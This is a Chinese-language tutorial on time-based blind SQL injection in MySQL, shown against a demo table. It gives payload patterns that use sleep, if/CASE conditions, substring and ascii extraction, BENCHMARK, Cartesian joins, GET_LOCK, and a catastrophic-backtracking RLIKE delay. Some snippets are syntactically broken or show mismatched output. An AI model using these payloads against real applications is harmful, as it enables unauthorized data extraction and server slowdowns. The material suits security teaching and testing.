时间盲注详解
1. 基础知识
时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据。
在执行语句的过程中,由于 sleep(duration) 函数的存在,保证是注入导致的延时,而不是业务正常处理导致的延时。
2. 原理演示
2.1 sleep 函数
- sleep(duration)
- 睡眠时间为 duration 参数给定的秒数,然后返回0;若函数被中断,返回1。
1 | select * from user; |
sleep(3) 执行完成后返回 0,所以 select * from user where id = 1 and sleep(3)
查询 0 条数据
and 的逻辑是如果 and 左侧表达式为假,则直接返回假,不再直接右侧表达式。所以当 id=5 查不到数据时,直接就会返回结果,这样就可以用布尔注入逻辑,根据执行的时长,来测试是否查到数据。
如果 and 逻辑换成 or,又会有变化。
1 | select * from user where id = 1 or sleep(3); |
or 逻辑是左侧若为真则不判断右侧表达式,所以 id=1 这条执行了 0.01 sec,接下来 id=2,3,4 这几条数据都会执行 sleep(3),总共是 9.01sec。(可能不是所有版本都是这样的逻辑)
2.2 配合 if 条件触发
- if(expr1, expr2, expr3)
- 如果 expr1 是 True,则返回 expr2,否则返回 expr3
- 返回值是数字值或字符串值
1
2
3
4
5
6
7
8
9select * from user where id = 5 or if(username = 'admin', 1, 0);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 12345678 |
+----+----------+----------+
1 row in set (9.01sec)
select * from user where id = 1 and if(database()=' ', sleep(4), null);
2.3 截取函数
配合截取函数,能够判断猜测的某一位数据是否准确
单个字母爆破
1 | select * from user where username='a' or if(substr((select username from user where id = 1), 1, 1) = 'a' , sleep(3), 0) |
- substring
- substring(str, pos)
- substring(str FROM pos)
- substring(str, pos, len)
- substring(str FROM pos FOR len)
- substr(str, start, length)
- mid(str, start, length)
- str,必需
- start,必需
- length,可选
- substring_index(str, delim, count)
- str:被截取字符串
- delim:关键字
- count:关键字出现的次数
- left(str, length),从左开始截取字符串
- right(str, length),从右开始截取字符串
实际上,使用正则表达式也能达到类似的效果,“^”表示从头开始匹配
1 | select * from user where password rlike = '^1'; |
我们注意到,进行匹配时传入单个字符都需要引号,如果想不传入引号达到一样的效果,可以使用 ascii() 函数
1 | select * from table where id = 1 and (if(substr(database(),1,1)=' ',sleep(4),null)) |
2.4 配合 select case when 条件触发
SQL CASE 表达式是一种通用的条件表达式,类似于其他语言中的 if…else… 语句
CASE WHEN condition THEN result
[WHEN …]
[ELSE result]
END
先来一个使用举例:
1 | select case when username = 'admin' THEN 'aaa' ELSE 'xxxx' end from user; |
可以与 sleep 或者其他形式结合
1 | mysql> select case when username = 'admin' THEN (sleep(3)) ELSE 'xxxx' end from user; |
2.5 除 sleep 之外的延时
BENCHMARK(count, expr)
- 重复 count 次执行表达式 expr。
- 可以被用于计算 MySQL 处理表达式的速度
- 结果值通常为0
笛卡尔积
- SELECT count(*) FROM information_schema.columns A, information_schema.colums B, information_schema.colums C;
- 通过复杂的运算达到延时
GET_LOCK(str, timeout)
- 使用字符串 str 给定的名字得到一个锁,超时为 timeout 秒
- 局限:当前会话不会生效,只有新会话开启,并且保持长连接( mysql_pconnect函数来连接数据库),才能生效
session 1session 21
2
3
4
5
6
7select get_lock('karma',1);
+---------------------+
| get_lock('karma',1) |
+---------------------+
| 1 |
+---------------------+
1 row in set (0.00 sec)1
2
3
4
5
6
7select get_lock('karma',10);
+----------------------+
| get_lock('karma',10) |
+----------------------+
| 0 |
+----------------------+
1 row in set (10.00 sec)
RLIKE
- 通过 rpad 或 repeat 构造长字符串,加以计算量打的 pattern,通过 repeat 的参数可以控制延时长短
1
2
3
4select concat (rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
*****
1 row in set (0.51 sec)
- 通过 rpad 或 repeat 构造长字符串,加以计算量打的 pattern,通过 repeat 的参数可以控制延时长短
————————————————